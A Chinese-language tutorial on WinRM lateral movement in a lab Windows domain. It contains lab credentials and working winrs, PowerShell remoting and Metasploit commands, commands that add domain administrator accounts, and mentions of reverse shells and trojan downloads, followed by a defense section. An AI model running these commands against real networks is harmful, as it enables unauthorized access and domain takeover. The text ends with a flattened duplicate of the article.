内网渗透——WinRM横向
字数 924 2025-08-11 00:55:10

WinRM横向渗透技术详解

一、WinRM简介

WinRM(Windows Remote Management)是Microsoft对WS-Management协议的实现,是一种基于标准SOAP协议的"防火墙友好"协议,允许不同供应商的硬件和操作系统互相操作。

默认端口

  • HTTP: 5985
  • HTTPS: 5986

适用环境

  • 同时适用于工作组和域环境
  • Windows Server 2012及之后版本默认开启WinRM服务

二、利用条件

基本要求

  1. 已获取目标主机或域控的域管账户明文密码
  2. 目标防火墙开放5985或5986端口

环境检查命令

netstat -ano | findstr 5985
nmap -p 5985,5986 -sV 目标IP

服务配置命令(在已控制主机上)

winrm quickconfig
winrm set winrm/config/Client @{TrustedHosts="*"; AllowUnencrypted="true"}

三、实战环境示例

域环境

  • 域名:god.com
  • 域控:win2012
    • 账户:god\administrator
    • 密码:aA123456@@@
    • IP:192.168.29.176
  • 域管用户:
    • 账户:god\key
    • 密码:qweQWE123@
  • 域用户:
    • 账户:god\test
    • 密码:yangxu123@
    • IP:192.168.29.177

四、利用方式

1. PowerShell执行

工作组环境

Invoke-Command -ComputerName TARGET -ScriptBlock { dir c:\ }

域环境

Invoke-Command -ComputerName TARGET -Credential 域名\用户名 -command {Get-Culture}
Invoke-Command -ComputerName TARGET -Credential 域名\用户名 -ScriptBlock {Get-Culture}
Enter-PSSession -ComputerName 192.168.29.176 -Credential god\administrator

实例

Invoke-Command -ComputerName 192.168.29.176 -Credential god\key -command {whoami}
Enter-PSSession -ComputerName 192.168.29.176 -Credential god\key

2. CMD执行

基本命令

winrs -r:http://192.168.29.176:5985 -u:用户名 -p:密码 "ipconfig"
winrs -r:https://192.168.29.176:5986 -u:用户名 -p:密码 "ipconfig"

获取交互式shell

winrs -r:http://192.168.29.176:5985 -u:域名\用户名 -p:密码 cmd
winrs -r:https://192.168.29.176:5986 -u:域名\用户名 -p:密码 cmd

实例

winrs -r:http://192.168.29.176:5985 -u:key -p:qweQWE123@ "ipconfig"
winrs -r:http://192.168.29.176:5985 -u:god\key -p:qweQWE123@ cmd

3. Metasploit利用

检测WinRM认证方法

use auxiliary/scanner/winrm/winrm_auth_methods
set domain god.com
set rhosts 192.168.29.176
exploit

验证凭据有效性

use auxiliary/scanner/winrm/winrm_login
set domain god.com
set username key
set password qweQWE123@
set rhosts 192.168.29.176
set rport 5985
exploit

执行命令

use auxiliary/scanner/winrm/winrm_cmd
set rhosts 192.168.29.176
set DOMAIN god.com
set USERNAME administrator
set PASSWORD aA123456@@@
set CMD ipconfig
exploit

五、获取权限后的操作

  1. RDP上线

    • 开启3389端口
    • 关闭防火墙
    • 如3389受限,使用netsh端口转发绕过
  2. 无杀软环境

    • 使用certutil下载正向马执行
    • CS及MSF上线
  3. 出网环境

    • 使用powershell反向连接
    • 执行反向exe
    • CS及MSF上线

六、防御手段

  1. 访问控制

    • 设置主机白名单,仅允许可信计算机连接WinRM服务器
  2. 安全配置

    • 启用Kerberos身份验证
    • 启用SSL加密
    • 禁用AllowUnencrypted选项
  3. 系统加固

    • 安装杀毒软件和WAF
    • 设置强密码策略
  4. 网络隔离

    • 实施网络分段,限制WinRM仅在受信任网络区域运行

七、补充知识

添加域管用户命令

net user 用户名 密码 /add /domain
net group "Domain Admins" 用户名 /add /domain
net group "Enterprise Admins" 用户名 /add /domain

查看域管用户

net group "domain admins" /domain

密码获取方式

  • 内存导出
  • 进程注入
  • 密码爆破
  • 漏洞利用
WinRM横向渗透技术详解 一、WinRM简介 WinRM(Windows Remote Management)是Microsoft对WS-Management协议的实现,是一种基于标准SOAP协议的"防火墙友好"协议,允许不同供应商的硬件和操作系统互相操作。 默认端口 : HTTP: 5985 HTTPS: 5986 适用环境 : 同时适用于工作组和域环境 Windows Server 2012及之后版本默认开启WinRM服务 二、利用条件 基本要求 已获取目标主机或域控的域管账户明文密码 目标防火墙开放5985或5986端口 环境检查命令 服务配置命令(在已控制主机上) 三、实战环境示例 域环境 : 域名:god.com 域控:win2012 账户:god\administrator 密码:aA123456@@@ IP:192.168.29.176 域管用户: 账户:god\key 密码:qweQWE123@ 域用户: 账户:god\test 密码:yangxu123@ IP:192.168.29.177 四、利用方式 1. PowerShell执行 工作组环境 : 域环境 : 实例 : 2. CMD执行 基本命令 : 获取交互式shell : 实例 : 3. Metasploit利用 检测WinRM认证方法 : 验证凭据有效性 : 执行命令 : 五、获取权限后的操作 RDP上线 : 开启3389端口 关闭防火墙 如3389受限,使用netsh端口转发绕过 无杀软环境 : 使用certutil下载正向马执行 CS及MSF上线 出网环境 : 使用powershell反向连接 执行反向exe CS及MSF上线 六、防御手段 访问控制 : 设置主机白名单,仅允许可信计算机连接WinRM服务器 安全配置 : 启用Kerberos身份验证 启用SSL加密 禁用AllowUnencrypted选项 系统加固 : 安装杀毒软件和WAF 设置强密码策略 网络隔离 : 实施网络分段,限制WinRM仅在受信任网络区域运行 七、补充知识 添加域管用户命令 : 查看域管用户 : 密码获取方式 : 内存导出 进程注入 密码爆破 漏洞利用